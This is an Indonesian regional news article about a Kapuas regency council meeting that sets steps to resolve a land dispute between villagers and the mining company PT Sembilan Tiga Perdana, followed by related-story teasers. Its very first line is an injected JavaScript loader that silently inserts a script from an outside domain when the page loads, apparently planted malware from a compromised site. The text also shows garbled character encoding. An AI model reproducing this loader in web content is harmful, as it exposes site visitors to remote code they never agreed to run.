(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Komisi II DPRD Kabupaten Kapuas menggelar rapat bersama dengan pemerintah daerah dan PT Sembilan Tiga Perdana (STP), tim pembebasan tanah dan masyarakat terkait dengan sengketa lahan, Senin (25/10/2022).
Rapat dipimpin Anggota Komisi II DPRD Kapuas, Berinto dihadiri sejumlah anggota dewan lainnya.
Berinto mengatakan dari hasil musyawarah penyampaian pendapat serta pokok-pokok pikiran rapat seluruh peserta rapat maka diambil beberapa kesimpulan yang tertuang dalam berita acara, pertama, terkait batas Desa Katanjung dan Desa Hurung Tampang agar Sekretaris Daerah Kabupaten Kapuas segera menyelesaikan titik batas desa.
Kedua, agar mengukur kembali tanah atau lahan atas nama Abdul Riduansyah, Ahmad Setiawan, dan Igoe dan kawan-kawan bersama PT STP, Humas PT STP tim desa dan kecamatan, agar diselesaikan secara musyawarah pada tanggal 1 November 2022.
Baca juga:Â Klaim Sengketa Lahan Belum Tuntas, Sekelompok Warga Duduki Kebun Sawit di Lamandau
Ketiga, agar PT Sembilan Tiga Perdana memprioritaskan nasyarakat setempat terlibat menjadi karyawan.
Keempat PT Sembilan Tiga Perdana agar membantu setiap hari besar keagamaan dan adat istiadat.
“Ini merupakan bentuk responsif kami anggota DPRD Kapuas, terutama Komisi II. Dan kami memfasilitasi persoalan-persoalan masyarakat,†kata Berinto.
Ia memberikan apresiasi kepada semua pihak, termasuk PT STP yang sudah hadir, perusahaan yang bergerak di bidang pertambangan di Kecamatan Kapuas Hulu ini cukup transparan dan terbuka melihat persoalan-persoalan masyarakat.
“Jadi, sudah diinformasikan dari pihak PT STP tadi bahwa mereka berinvestasi di Kapuas ingin memberikan yang terbaik untuk daerah. Harapan mereka begitu,†ucapnya.
Baca juga:Â Lompat dari Atas Kapal, Herlan Asal Banten Hilang di Perairan Tabanio
Dijelaskan legislator dari Partai NasDem ini, bahwa tadi juga sudah disepakati bahwa itu merupakan kesepakatan forum termasuk disepakati PT STP mereka akan verifikasi kembali, mengukur kembali terkait dengan komplain atau yang dipersoalkan oleh masyarakat.
“Terkait pengukuran tanah. Telah disepakati mereka, dan sudah ditentukan tanggal. Mereka bersepakat memulainya tanggal 1 November 2022,†jelasnya. (Kanalkalimantan.com/ags)
Reporter: ags
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.